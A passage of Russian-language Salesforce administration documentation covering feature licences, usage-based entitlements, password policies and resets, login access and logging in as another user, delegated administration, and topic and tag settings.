Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Назначениеоднойилинесколькихлицензийнадополнительныекомпонентыпозволяет
пользователям получать доступ к функциям, не включенным в исходные лицензии.

Доступные действияЛицензия на компонент

Доступ к Chatter Answers. Данная лицензия
автоматическиназначаетсяпользователям
массового портала, которые
самостоятельно регистрируются в Chatter
Answers.

Пользователь Chatter Answers

Выполнение потоков.Пользователь Force.com Flow

Доступ к Salesforce Knowledge.Пользователь базы знаний

Доступ к Live Agent.Пользователь Live Agent

Создание, редактирование и удалений
кампаний, настройка дополнительных

Пользователь Marketing

параметров кампаний, импорт интересов
и обновление журналов кампаний
посредством мастеров импорта
участников.

Доступ к Salesforce Classic Mobile. Флажок
«Пользователь Mobile» не относится к

Пользователь Mobile

бесплатной версии приложения Salesforce
Classic Mobile, так как данное приложение
предоставляет доступ к системе Salesforce
без мобильной лицензии.

Доступ к Connect Offline.Пользователь Offline

Доступ к Salesforce CRM Content.Пользователь Salesforce CRM

Content

Доступ к консоли Salesforce for Service.Пользователь Service Cloud

Прим.: Доступ к консоли Salesforce
for Sales требует наличия лицензии
набораполномочий «Пользователь
Sales Console».

Редактированиесодержимогосайтавсреде
Site.com Studio.

Пользователь Site.com Contributor

Создание и оформление веб-сайтов,
определение макета и функциональных

Пользователь Site.com Publisher

возможностей страниц и их элементов, а
также добавление и редактирование
содержимого в среде Site.com Studio.
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Доступные действияЛицензия на компонент

Доступ к объектам и полномочиям Work.com.Пользователь Work.com

СМ. ТАКЖЕ:

Просмотр лицензий на компоненты организации

Включение лицензии на компонент для пользователя

Просмотр и управление пользователями

Общие сведения о лицензиях на компоненты

Общие сведения о правах на основе использования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Право на основе использования — это ограниченный ресурс, который может
использоватьсяорганизациейнарегулярнойоснове (например, максимальнодопустимое
количество ежемесячных входов в партнерское сообщество или ограничение по
количеству записей для пользователей Data.com List).

Некоторые права являются постоянными. Данные права предоставляют организации
заданное количество ресурсов, которое может быть изменено только при изменении
контракта. Например, организация, приобретающая 50 месячных подписок на доступ
кпартнерскомупорталу, можетпредоставить 50 участникамнеограниченноеколичество
входов в сообщество.

Другие права являются непостоянными; они аналогичны кредиту. Организация может
использовать количество, предоставляемое выбранным правом, за время, определяемое частотой ресурса. Значение
«Однократно», заданное частоте права, требует приобретения дополнительного количества ресурса для пополнения
текущего ограничения. Значение «Ежемесячно», заданное частоте права, позволяет определять датыначала и окончания
месяца по контракту.

Например:

• Компания «А» приобретает 50 ежемесячныхвходоввпартнерскоесообщество; датойначаламесяцасчитается 15 января.
Каждыйвход, выполненныйлюбымпользователем, сокращаетобщеедоступноеколичество. Независимоотколичества
входов, использованныхзапредыдущиймесяц, 15 февраляограничениеобновляется, аорганизациипредоставляется
50 входов до 14 марта.

• Компания «Б» приобретает 2 000 записей для пользователей Data.com List; датой окончания считается 15 мая.
Пользователи Data.com List данной организации могут добавлять или экспортировать не более 2 000 записей до
наступления данной даты. При достижении данного ограничения до наступления 15 мая пользователи Data.com List
не могут добавлять или экспортировать дополнительные записи. Чтобы разблокировать пользователей, компания
«Б» может приобрести дополнительное ограничение для данного ресурса.

Прим.: Приналичиинесколькихконтрактов, поле «Ресурс» которыхсодержитодинаковое значение, аполю «Код
ресурса» задано значение «(клиент)», то данное право отображается только одной строкой, содержащей данные
изразныхконтрактов. Приэтомполе «Дата начала» содержитсамуюраннююдатуначала, аполе «Дата окончания»
содержит самую позднюю дату окончания среди контрактов.

Подобно лицензиям на компоненты, права на основе использования не ограничивают действия, доступные в системе
Salesforce; наоборот, онирасширяютдоступныефункции. Припревышенииограничениясотрудник Salesforceпредложит
организации пересмотреть условия контракта.
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Просмотр прав на основе использования организации
Чтобы определить ресурсы, доступные организации, просмотрите права на основе использования, заданные для
компании.

Поля прав на основе использования

СМ. ТАКЖЕ:

Поиск сведений о компании

Просмотр и управление пользователями

Просмотр прав на основе использования организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прав на
основе использования:
• «Просмотр настройки и

конфигурации»

Чтобы определить ресурсы, доступные организации, просмотрите права на основе
использования, заданные для компании.

1. Введите строку «Сведения о компании» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Сведения о компании».

2. Просмотрите связанный список «Права на основе использования» внизу страницы
«Сведения о компании».

СМ. ТАКЖЕ:

Общие сведения о правах на основе использования

Поля прав на основе использования

Поля прав на основе использования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ниже перечислены сведения, доступные в связанном списке «Права на основе
использования». Данные поля недоступны для редактирования и отображаются только
при наличии ресурса.

ОписаниеИмя столбца

Компонент, доступный компании для
использования.

Ресурс

Уникальный идентификатор данного
элемента строки.

Код ресурса

Дата начала контракта.Дата начала

Прим.: Если ресурс охватывается
несколькимиконтрактами, тоданное
поле содержит самуюраннююдату
начала среди контрактов.
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ОписаниеИмя столбца

Дата окончания контракта.Дата окончания

Прим.: Если ресурс охватывается несколькими
контрактами, то данное поле содержит самую
позднюю дату окончания среди контрактов.

Привыборе значения «Ежемесячно» поле «Ограничение»
обновляется в начале каждого месяца.

Привыборе значения «Однократно» поле «Ограничение»
доступно до даты, указанной в поле «Дата окончания».

Частота

Количество, доступное организации для использования.
Если полю «Частота» задано значение «Ежемесячно», то
началомесяцасоответствуетзначениюполя «Дата начала».

Ограничение

Количество, используемое организацией.Использованный объем

Дата и время создания системой Salesforce снимка
показателейиспользованияданногоресурсаорганизацией.

Последнее обновление

Дополнительную информацию о ресурсах, доступных организации для использования, можно получить в компании
Salesforce.

СМ. ТАКЖЕ:

Общие сведения о правах на основе использования

Просмотр прав на основе использования организации
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Пароли

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Политики паролей
доступны в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки политик
паролей:
• «Управление

политиками паролей»

Для восстановленияпаролей
и разблокировки
пользователей:
• «Восстановление

паролей и
разблокировка
пользователей»

Администратор может настроить несколько параметров, позволяющих гарантировать
надежность и безопасность паролей пользователей.

• Политики паролей: настройка разных политик входа и паролей (например,
определение срока действия паролей всех пользователей, степени надежности
паролей и т. д.). См. раздел «Настройка политик паролей» на странице 568.

• Истечение срока действияпаролейпользователей: аннулированиепаролейдля всех
пользователейорганизации, кромепользователейсполномочием «Парольбез срока
действия». См. раздел «Истечение срока действия паролей для всех пользователей»
на странице 573.

• Восстановление паролей пользователей: восстановление пароля для указанных
пользователей. См. раздел «Восстановление паролей для ваших пользователей» на
странице 572.

• Попытки входа и периоды блокировки: разблокировка пользователя Salesforce,
заблокированного ввиду многократных неудачных попыток входа. См. раздел
«Редактирование пользователей» на странице 519.

Требования к паролям
Пароль не может содержать имя пользователя и не может совпадать с именем или
фамилией пользователя. Кроме того, пароли не могут быть слишком простыми.
Например, пользователь не может изменить свой пароль на слово «password».

Ниже перечислены стандартные требования, предъявляемые к паролям новых
организацийво всех версиях. Этиправила дляпаролейможноизменять во всех версиях,
кроме Personal Edition.

• Пароль должен содержать как минимум восемь символов, в том числе одну букву и одну цифру.

• Ответ на контрольный вопрос не может содержать пароль пользователя.

• Когда пользователи меняют пароль, они не могут повторно задать ни один из трех последних паролей.

СМ. ТАКЖЕ:

Изменение пароля
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Установка политик пароля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки политик
паролей:
• «Управление

политиками паролей»

ПользовательможетповыситьбезопасностьорганизациивсистемеSalesforce спомощью
защиты паролем. Можно настроить журнал и длину паролей, требования к сложности
пароля и другие значения. Кроме того, можно задать процедуру, выполняемую для
восстановления пароля.

Многочисленные политики паролей и входа позволяют обеспечить безопасность
организации.

Прим.: Размер пароля пользователя не может превышать 16 000 байт.

Каждый пользователь может выполнять не более 3 600 входов в час. Данное
ограничение применяется к организациям, созданным после выпуска Summer'08.

1. Вразделе «Настройка» введите «Политики паролей» в поле «Быстрый поиск», затем
выберите «Политики паролей».

2. Настройте параметры паролей.

ОписаниеПоле

Период времени, в течение которого
истекает срок действия паролей
пользователей. Пароли должны быть
изменены.Значение по умолчанию:
90 дней. Данный параметр недоступен
для порталов самообслуживания. Эта
настройканеприменимакпользователям

Срок действия паролей пользователей
истекает:

с полномочием «Срок действия пароля
неограничен».

При изменении параметра «Срок
действия паролей пользователей
истекает:» этоизменениевлияетнадату
истечения срока действия пароля
пользователя, если вводится новая дата,
наступающая раньше старой, либо срок
действияотменяетсявыборомпараметра
«Без срока действия».

Сохранение предыдущих паролей
пользователей с целью использования

Вести журнал паролей

исключительно новых и уникальных
паролей. Журнал паролей сохраняется
только при выборе данного параметра.
Значение по умолчанию: «Сохранено
паролей: 3». Значение «Пароли не
сохранены» можетбытьвыбранотолько
в том случае, если поле «Срок действия
паролей пользователей истекает:»
содержит значение «Бессрочно».
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ОписаниеПоле

Данный параметр недоступен для порталов
самообслуживания.

Минимальное количество символов в пароле. Данный
параметр вступает в силу только при следующем

Минимальная длина пароля

изменении текущих паролей. Значение по умолчанию:
«8 символов».

Определениесимволов, которыедолжныиспользоваться
в пароле пользователя.

Уровни сложности:

Требование к сложности пароля

• «Без ограничений»: любое значение пароля; самый
ненадежный уровень.

• «Должен содержать буквы и цифры»: требует
наличия как минимум одной буквы и одной цифры,
это настройка по умолчанию.

• «Должен содержать буквы, цифры и специальные
символы»: требуетналичиякакминимумоднойбуквы,
одной цифры и одного из следующих символов: !
# $ % - _ = + < >.

• «Должен содержать цифры, строчные и
прописные буквы»: требует наличия как минимум
одной цифры, одной строчной буквы и одной
прописной буквы.

• «Должен содержать цифры, строчные и
прописные буквы и специальные символы»: требует
наличиякакминимумоднойцифры, однойстрочной
буквы, одной прописной буквы и одного из
следующих символов: ! # $ % - _ = + < >.

Допустимые значения: «Не может содержать пароль»
(ответ на контрольный вопрос не может содержать

Требование к контрольному вопросу

пароля) и «Нет», выбранное по умолчанию (любой
ответ). Пользователь должен указать ответ на
контрольный вопрос. Данный параметр недоступен для
порталовсамообслуживания, клиентскихилипартнерских
порталов.

Максимально допустимое количество попыток входа до
блокировкипользователя.Данныйпараметрнедоступен
для порталов самообслуживания.

Максимальное количество недопустимых попыток входа
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ОписаниеПоле

Продолжительность блокировки.По умолчанию:
15 минут. Данный параметр недоступен для порталов
самообслуживания.

Срок действия блокировки

Прим.: Если учетная запись пользователя
заблокирована, рекомендуемдождатьсяокончания
блокировки. Вином случае учетную запись может
разблокировать пользователь с полномочиями
«Восстановление паролей и разблокировка
пользователей», выполнивследующуюпроцедуру
из меню «Настройка».

a. Введите строку «Пользователи» в поле
«Быстрый поиск».

b. Выберите «Пользователи».

c. Выберите нужного пользователя.

d. Щелкните кнопку «Разблокировать».

Данная кнопка отображается только для
заблокированного пользователя.

Даннаяфункцияпозволяет скрывать вводимыеответына
контрольные вопросы. Настройка по умолчанию
отображает ответ в виде простого текста.

Неясный ответ на секретный вопрос для сброса
пароля

Прим.: Если организация использует редактор
метода ввода Microsoft в режиме ввода Hiragana, то
вводимые символы ASCII заменяются японскими
символами в полях обычного текста. Темнеменее,
поля со скрытым текстом могут обрабатываться
редакторомметодавводанекорректно. Еслиданная
функцияпрепятствуетправильномувводупаролей
пользователей или других значений, рекомендуем
ее отключить.

Привыборе этогопараметрапарольнельзяменятьчаще,
чем каждые 24 часа.

Требовать срок действия пароля не менее 1 дня

3. Укажите сведения, которые будут использоваться при восстановлении пароля и разблокировке учетной записи.

Прим.: Данныйпараметр недоступен для порталов самообслуживания, клиентскихилипартнерскихпорталов.

ОписаниеПоле

При использовании этой настройки пользователь
получит сообщение электронной почты с темой «Мыне

Сообщение

570

ПаролиНастройка и обслуживание организации Salesforce



ОписаниеПоле

можем сбросить ваш пароль». Пользователь получает
такое сообщение, еслиегоучетная запись заблокирована
после слишкомбольшогоколичествапопытокизменить
свой пароль. Этот текст также появится в нижней части
страницы «Ответ на вопрос безопасности» при сбросе
пользователями своих паролей.

Вы можете изменить этот текст в соответствии со
стандартамивашейорганизации, добавивимявнутренней
службы техподдержки или администратора системы.
Сообщениеэлектроннойпочтыотображается толькодля
учетныхзаписей, восстановлениепаролякоторыхдолжно
выполняться администратором. Для блокировки по
времени используются другие системные сообщения.

Данная ссылкаотображается вместе с текстом, введенным
в поле «Сообщение». В сообщении электронной почты

Ссылка справки

с темой «Мы не можем сбросить ваш пароль» URL
отображается также, как вполе «Ссылка справки», чтобы
пользователь мог видеть, куда ведет ссылка. Формат
отображения URL в данном случае есть функция
безопасности, поскольку пользователь находится вне
организации Salesforce.

В области для ответа на вопрос безопасности URL-адрес,
введенный в поле «Ссылка справки», и текст, введенный
в поле «Сообщение», объединяются в одну активную
ссылку. При изменении пароля пользователь находится
в организации Salesforce, поэтому средства безопасности
не применяются.

Действительные протоколы:

• http

• https

• mailto

4. Укажите альтернативнуюначальную страницу для пользователей с полномочием «Пользователь только API». После
выполнения задач управления (например, восстановление пароля) данные пользователи перенаправляются на
указанный URL-адрес вместо страницы входа.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Просмотр и редактирование политик паролей в профилях

Пароли

571

ПаролиНастройка и обслуживание организации Salesforce



Сброс паролей пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для восстановления
паролей:
• «Восстановление

паролей и
разблокировка
пользователей»

Парольпользователяможетбыть сброшенадминистраторомвцеляхбезопасностиили
при возобновлении доступа заблокированного пользователя.

Чтобы восстановить пароль пользователя, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Установитефлажокнапротивименинужногопользователя. Чтобыизменитьпароли
для всех отображаемых пользователей, установите флажок в заголовке
соответствующего столбца.

3. Нажмитекнопку«Сброситьпароль». Пользовательполучитэлектронноесообщение,
содержащее ссылку и инструкции для сброса пароля.

Срок действия пароля, созданного данным способом, не ограничен. Рекомендуем
изменить пароль при первом входе.

Совет: Принеобходимостивыполнитеданнуюидругиезадачиадминистрирования
посредством мобильного приложения SalesforceA.

Рекомендации по сбросу паролей
• Сброситьпаролипользователейединойрегистрацииможеттолькоадминистратор.

Пользователи единой регистрации не могут сбросить пароль самостоятельно.

• Для входа в Salesforce после сброса пароля может потребоваться активация
компьютера.

• Сброс пароля заблокированного пользователя автоматически возобновляет доступ
к учетной записи пользователя.

• В случае утери пароля можно воспользоваться ссылкой восстановления пароля на странице входа, после чего
пользовательполучитписьмопоэлектроннойпочтесинструкциямипосбросупароля. Длясбросапаролянеобходимо
правильно ответить на контрольный вопрос. Политики паролей позволяют настроить страницу контрольного
вопроса, которая отображается пользователям и содержит справочную информацию.

Прим.: Еслипользовательненастроилконтрольныйвопросилиответилнеправильнона контрольныйвопрос,
сброс пароля не выполняется.

Запрос сброса пароля по ссылке восстановления пароля осуществляется не более 5 раз за период в 24 часа.
Администраторы могут сбросить пароль пользователя любое количество раз.

• При сбросе пароля также сбрасывается метка безопасности пользователя.

СМ. ТАКЖЕ:

Сброс забытого пароля

Изменение пароля

Сброс маркера безопасности

Пароли

SalesforceA

572

ПаролиНастройка и обслуживание организации Salesforce



Аннулирование паролей пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для аннулирования всех
паролей:
• «Управление

внутренними
пользователями»

При необходимости администратор организации может аннулировать пароли всех
пользователей в любое время. После аннулирования паролей всем пользователям
выводится сообщение о сбросе пароля в следующий раз после входа в систему.

Чтобы аннулировать пароли всех пользователей, кроме пользователей с полномочием
«Пароль без срока действия», выполните указанные ниже действия.

1. Введите строку «Аннулировать все пароли» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Аннулировать все пароли».

2. Установите флажок «Аннулировать все пароли пользователей».

3. Нажмите кнопку «Сохранить».

При следующем входе пользователи получат предложение сменить пароль.

Рекомендации по аннулированию паролей
• Для входа в Salesforceпользователямможетпотребоваться активировать компьютер.

• Параметр «Аннулировать все пароли пользователей» не влияет на пользователей
портала самообслуживания, так как они не являются прямыми пользователями
Salesforce.

СМ. ТАКЖЕ:

Пароли
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Управление полномочиями входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Полномочия
администратора могут быть
предоставлены в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления политиками
полномочий входа:
• «Управление

политиками
полномочий входа»

Управление полномочиями входа определяет предоставление доступа к организациям
администраторам Salesforce и предоставление доступа к публикаторам.

1. Введите строку «Политики полномочий входа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Политики полномочий входа».

2. Чтобы разрешить администраторам Salesforce выполнять вход от имени любого
пользователя организации без предварительного получения соответствующего
доступа, включите параметр «Администраторымогут выполнять вход от имени
любого пользователя».

Чтобы удалить функцию для своей организации, свяжитесь с Salesforce. При
отключении этого параметра пользователь должен предоставить администратору
Salesforceправодоступа, чтобыадминистратормоготименипользователявыполнить
вход в систему для устранения неполадок.

3. Чтобызапретитьпользователямпредоставлениедоступа кпубликаторам (например,
из соображений конфиденциальности или в целях соблюдения нормативных
требований), установите переключатель «Доступно только администраторам»
напротив нужного публикатора.

Прим.: Пользователинемогутпредоставлятьполномочиявходауправляемым
пакетам, лицензированным для всей организации Salesforce. Только
администраторы, в профиле которых включено полномочие «Управление
пользователями», могут предоставлять доступ к этим публикаторам. Для
отдельных управляемых пакетов отсутствуют полномочия входа. Если пакет
не указан на странице «Политики полномочий входа», полномочия входа для
него недоступны.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Вход от имени другого пользователя

Предоставление полномочий входа

574

Управление полномочиями входаНастройка и обслуживание организации Salesforce



Вход от имени другого пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы выполнить вход от
именидругогопользователя,
выполните указанные ниже
действия.
• «Изменение всех

данных»

Система Salesforce позволяет администраторам выполнять вход от имени других
пользователейсцельюоказания техническойподдержки. Взависимостиотпараметров
организации, некоторые пользователи могут предоставлять администраторам
полномочия входа.

Прим.: После выполнения входаотименидругогопользователя администраторы
не могут авторизовывать доступ к данным OAuth для данного пользователя.
Например, администраторы не могут авторизовывать доступ к OAuth для учетных
записейпользователей, включая единуюрегистрациюв стороннихприложениях.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Перейдитепоссылке«Войти»напротивименинужногопользователя. Даннаяссылка
доступна только тем пользователям, которые предоставили администратору
полномочия входа, или тем организациям, которые позволяют администраторам
выполнять вход от имени любого пользователя.

3. Чтобывернуться в учетнуюзапись администратора, щелкнитепо имени пользователя  >
«Выйти».

СМ. ТАКЖЕ:

Управление полномочиями входа

Предоставление полномочий входа

Устранение неполадок входа

Просмотр и управление пользователями
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Делегирование прав администратора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
делегированным
администрированием:
• «Настройка

приложения»

Для получения полномочия
делегированного
администратора:
• «Просмотр настройки и

конфигурации»

Используйте делегированное администрирование для назначения ограниченных
полномочий администратора пользователям организации, которые не являются
администраторами. Например, менеджерслужбыподдержкиклиентовможетуправлять
пользователямисролью «Менеджерслужбыподдержки» ивсемиподчиненнымиролями.
С этой целью создайте делегированное администрирование, так вы сможете
сконцентрироваться на других задачах администрирования.

Ниже перечислены действия, доступные делегированным администраторам.

• Создание и редактирование пользователей с указанными ролями и всеми
подчиненными ролями. Под задачами редактирования пользователей понимаются
следующие действия: восстановление паролей, настройка планов продаж, создание
стандартных групп, работающих с потенциальными клиентами, и создание
персональных групп для данных пользователей.

• Разблокировка пользователей.

• Назначение пользователей указанным профилям.

• Назначение или удаление наборов полномочий для пользователей в их
делегированных группах.

• Создание общедоступных групп и управление участниками указанных
общедоступных групп.

• Вход от имени пользователя, предоставившего полномочия входа администратору.

• Управление настраиваемыми объектами и настройка почти всех аспектов
настраиваемого объекта. Тем не менее, делегированный администратор не может
создавать или изменять взаимосвязи объекта, а также задавать единые стандартные
параметры общего доступа.

• Администрируйте пользователей во всех делегированных группах, для которых
назначено делегированное администрирование. Например, пользователь,
являющийсяделегированнымадминистраторомдвухделегированныхгрупп (группа «А» игруппа «Б»), можетназначить
набор полномочий или общедоступную группу из группы «А» пользователям в группе «Б».

Прим.: При делегированном администрировании не забывайте о следующих моментах. Делегированные
администраторы:

• не могут назначать профили или наборы полномочий с полномочием «Изменение всех данных»;

• нуждаются в доступе к настраиваемым объектам, чтобы получить доступ к полям слияния на таких объектах из
формул;

• не могут изменить набор полномочий.

Чтобы делегировать администрирование отдельными объектами, воспользуйтесь полномочиями объекта (например,
«Просмотреть все» и «Изменить все»).

СМ. ТАКЖЕ:

Определение делегированных администраторов
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Определение делегированных администраторов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
делегированным
администрированием:
• «Настройка

приложения»

Для получения полномочия
делегированного
администратора:
• «Просмотр настройки и

конфигурации»

Чтобы управлять пользователями определенных ролей и всех подчиненных ролей,
включите поддержку делегированных администраторов. Этим пользователям можно
назначатьзаданныепрофилиивыполнятьвходотименипользователей, предоставивших
администраторамполномочия входа. Делегированная группа управления — это группа
пользователей, которымпредоставленытакиежеполномочияадминистратора. Данные
группы не связаны с общедоступными группами, которые используются для
предоставления общего доступа.

1. Введите строку «Делегированное администрирование» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Делегированное администрирование» и
нажмите «Создать».

2. Выберите или создайте делегированную группу.

3. Чтобы разрешить участникам данной группы выполнять вход в качестве
пользователейуправляемойиерархииролей, установитефлажок«Включитьгруппу
для полномочия входа». В зависимости от параметров, заданных в организации,
отдельные пользователи должны предоставить своим администраторам
соответствующие полномочия входа в систему.

4. Нажмите кнопку «Сохранить».

5. Вкаждомсоответствующемспискенажмите «Добавить», чтобыопределитьданные
делегированной группы.

СМ. ТАКЖЕ:

Делегирование прав администратора

Параметры тем и тегов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Параметры тем и тегов
доступны в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
тем и тегов:
• «Настройка

приложения»

Независимо от поддержки Chatter, администраторы могут включать темы для объектов,
предоставляяпользователямвозможностьдополнения записейтемами, позволяющими
быстро извлекать связанные элементы посредством списковых представлений. При
поддержкеChatter связанныеэлементытакжеотображаютсяна вкладке «Записи» каждой
страницы сведений о теме. Включение тем для объекта инициирует отключение
общедоступных тегов для записей данного объекта. Личные теги не изменяются.

Чтобыиспользовать темыдля систематизациизаписей, включитетемыдляорганизаций,
активов, кампаний, обращений, контактов, контрактов, интересов, возможностей, заказов,
решений, настраиваемых объектов и статей на английском языке.

Ниже перечислены способы настройки и управления личными и общедоступными
тегами.

• Включение тегов для организаций, действий, активов, кампаний, обращений,
контактов, контрактов, панелей мониторинга, документов, событий, интересов,
примечаний, возможностей, отчетов, решений, задач и любых настраиваемых
объектов.

• Добавление тегов на боковую панель для пользователей.

• Удаление личных тегов для деактивированных пользователей.
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Включение и настройка тем для объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
«Темы для объектов»:
• «Настройка

приложения»

Чтобы разрешить пользователям добавлять темы в записи и систематизировать записи
по общим тематикам, включите темы для объектов. Данная функция доступна как при
поддержке, так и без поддержки Chatter.

Администраторымогутвключитьтемыдляорганизаций, активов, кампаний, обращений,
контактов, контрактов, интересов, возможностей, заказов, решений, настраиваемых
объектов и статей на английском языке. Администраторымогут выбирать поля каждого
типа объекта, которые должны использоваться для предложенных тем.

Прим.: Темыподдерживаютсятолькопостатьямбазызнанийнаанглийскомязыке.

Внимание: Включение тем для объекта инициирует отключениеобщедоступных
тегов для записей данного объекта.

1. Введите строку «Темы для объектов» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Темы для объектов».

2. Выберите нужный объект.

3. Установите флажок «Включить темы», расположенный справа.

4. Выберитенужныетекстовыеполя. (Комбинациявыбранныхполейпозволяетвозвращатьнеболее трехпредложенных
тем на основе первых 2 000 символов.)

5. Чтобы сохранить внесенные изменения для всех объектов, нажмите кнопку «Сохранить».

Нижеперечисленыдействия, доступныепользователямприналичиидоступаквключеннымобъектамисоответствующих
полномочий.

• Просмотр назначений тем и предложенных тем для записей данного типа объекта

• Добавление и удаление тем из записей данного типа объекта

• Использование тем из записей данного типа объекта для фильтрации списковых представлений

Кроме того, если организация использует Chatter, то пользователи могут открывать страницу темы путем выбора любой
темы, назначенной записи. Данная страница содержит другие записи по теме, список знатоков темыи другую связанную
информацию.

СМ. ТАКЖЕ:

Темы для записей

Добавление тем в записи

Темы для записей

Добавление тем в записи

578

Параметры тем и теговНастройка и обслуживание организации Salesforce



Включение тегов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Параметры тегов доступны
в версиях: все версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
тегов:
• «Настройка

приложения»

1. Введите строку «Параметры тегов» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Параметры тегов».

2. Чтобыразрешитьпользователямдобавлятьличныеиобщедоступныетегив записи,
установитефлажки «Включить личные теги» и «Включить общедоступные теги».
Чтобы отключить теги, снимите оба флажка.

3. Выберите объекты и макеты страниц, которые должны отображать раздел тегов в
верхней части страниц сведений о записях. Теги могут быть присвоены записям
только посредством раздела «Теги».

Например, при выборе макетов страниц организаций теги могут быть присвоены
толькозаписяморганизаций. Болеетого, записяморганизациймогутбытьприсвоены
только личные теги, если макеты страниц организаций выбраны для личных тегов,
но не выбраны для общедоступных тегов.

4. Нажмите кнопку «Сохранить».

Включая теги, помните следующие рекомендации.

• Теги можно добавлять в макет страницы, изменяя макет напрямую. Но такие теги нельзя добавлять в макеты страниц
на основе ленты.

• Результаты поиска и страница «Теги» не отображают настраиваемые объекты без связанной с ними вкладки даже в
том случае, если настраиваемые объекты поддерживают использование тегов. Если требуется отображение записи
настраиваемых объектов, создайте соответствующую вкладку. Вкладка может быть недоступна для пользователей.

• Раздел «Теги» недоступен пользователям клиентского портала даже в том случае, если он добавлен в макет страницы.

• Присвоение тегов составным отчетам доступно только при использовании Chatter.

СМ. ТАКЖЕ:

Параметры тем и тегов

Добавление тегов на боковую панель

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Параметры тегов доступны
в версиях: все версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
тегов:
• «Настройка

приложения»

Компонент «Теги» можетбытьдобавленнабоковуюпанельпослевключенияподдержки
тегов в организации. Данный компонент позволяет пользователям переходить на
страницу «Теги», поддерживающуюпросмотр, поиск и управление тегами. Кроме того,
пользователи могут просматривать списки недавних тегов. Чтобы добавить данный
компонент, выполните указанные ниже действия.

1. Введите строку «Макеты главной страницы» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макеты главной страницы».

2. Щелкните ссылку «Правка» напротив нужного макета начальной страницы.

3. Установите флажок «Теги» и нажмите кнопку «Далее».

4. Определитепорядокотображения компонента «Теги» вмакете страницыинажмите
кнопку «Сохранить».
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Совет: Чтобы отображался компонент «Теги» на всех страницах, а не только на вкладке «Начальная страница»,
введите «Интерфейс пользователя» в поле «Быстрый поиск», затем выберите пунктыИнтерфейс пользователя и
Показывать компоненты настраиваемой боковой панели на всех страницах.

СМ. ТАКЖЕ:

Параметры тем и тегов

Удаление личных тегов для деактивированных пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Удаление личных тегов
доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления личных тегов
деактивированных
пользователей:
• «Настройка

приложения»

Организация может использовать не более 5 000 000 личных и общедоступных тегов,
примененных к записям всех пользователей. При необходимости личные теги
деактивированных пользователей могут быть удалены.

1. В меню «Настройка» введите «Удаление личных тегов» в поле «Быстрый поиск»,
затем выберите «Удаление личных тегов».

